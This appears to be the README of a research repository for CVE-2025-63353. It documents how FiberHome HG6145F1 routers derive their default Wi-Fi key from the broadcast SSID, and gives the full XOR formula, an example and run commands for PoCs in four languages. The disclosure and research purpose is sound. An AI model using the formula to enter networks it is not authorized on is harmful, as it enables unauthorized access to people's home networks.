Multi-language PoC (Python · Go · JS · C) and technical documentation for CVE-2025-63353, a critical predictable-default-PSK vulnerability in FiberHome HG6145F1 GPON ONT devices.
Educational research toolkit and multi-language PoC for CVE-2025-63353, a critical predictable-default-PSK vulnerability affecting FiberHome HG6145F1 RP4423 GPON ONT devices.
The factory default Wi-Fi pre-shared key on affected FiberHome HG6145F1 devices is a deterministic function of the broadcast SSID. An attacker observing a beacon frame from a vulnerable device can derive the WPA2 PSK in constant time with no captured handshake, no wordlist, no GPU, and no client interaction.
For a device broadcasting SSID fh_<hex_a>, the default PSK is:
PSK = "wlan" + hex(0xFFFFFF XOR hex_a)
Example: fh_a1f9d1 → wlan5e062e
The effective per-device keyspace is 1. The population-wide keyspace across all HG6145F1 deployments is at most 2²⁴ ≈ 16.7 million (SSID, PSK) pairs and since the SSID is broadcast, the SSID-to-PSK mapping is one-to-one.
This work is built entirely on the original vulnerability research and disclosure by Hani Anis Bouzid:
All credit for the vulnerability discovery and initial public disclosure belongs to Hani Anis Bouzid. This repository extends the original disclosure with multi-language PoC implementations and a curated technical documentation set.
.
├── README.md
├── LICENSE
├── docs/
│ ├── vulnerability.md Technical analysis of the algorithm
│ ├── timeline.md Disclosure chronology and vendor response
│ ├── affected-deployments.md Device specifications and known deployments
│ ├── related-research.md Lineage of predictable-PSK vulnerabilities
│ ├── references.md Curated bibliography
│ └── mitigation.md Guidance for users, ISPs, and vendors
└── poc/
├── python/ pure-Python implementation, no dependencies
├── go/ standalone Go binary
├── javascript/ browser-friendly JS / Node.js
└── c/ portable single-file ANSI C (compiles anywhere)
# Python
python3 poc/python/fh-poc.py fh_a1f9d1
# wlan5e062e
# Go
cd poc/go && go run fh-poc.go fh_a1f9d1
# wlan5e062e
# JavaScript (Node)
node poc/javascript/fh-poc.js fh_a1f9d1
# wlan5e062e
# C
cc poc/c/fh-poc.c -o fh-poc && ./fh-poc fh_a1f9d1
# wlan5e062e
All four implementations are independently written, dependency-free, and produce identical output. Use whichever matches your environment.
| Field | Value |
|---|---|
| Vendor | FiberHome (Wuhan FiberHome International Technologies) |
| Model | HG6145F1 |
The vulnerability is currently disclosed for the HG6145F1 RP4423 firmware only. Verification across the broader HG6145 / HG6243 / HG6821 model family is an open research question. See docs/affected-deployments.md.
For end users of an HG6145F1:
See docs/mitigation.md for guidance specific to ISPs and vendors.
This repository is published for educational and defensive security research purposes only. The vulnerability documented here is publicly disclosed under CVE-2025-63353 and has been assigned a critical severity rating by CISA-ADP.
Use of the code in this repository against networks you do not own or do not have explicit written authorization to test is illegal in most jurisdictions, including under Moroccan Law 07-03 on cybercrime, the EU Computer Misuse frameworks, the US Computer Fraud and Abuse Act, and equivalent legislation elsewhere. The authors accept no responsibility for unauthorized use of this material.
A complete bibliography of primary sources, related vulnerabilities, and academic literature is maintained in docs/references.md.
Verified test results against additional FiberHome models, firmware versions, or ISP-customized variants are welcome via pull request to docs/affected-deployments.md. Please include firmware version, device label SSID prefix, and method of verification.
Ayman Wadi — Security Engineer
| Firmware |
| RP4423 |
| Device type | GPON ONT, Wi-Fi 6 (802.11ax), dual-band 2.4/5 GHz |
| Standards | ITU-T G.984 Class B+, IEEE 802.11 a/b/g/n/ac/ax |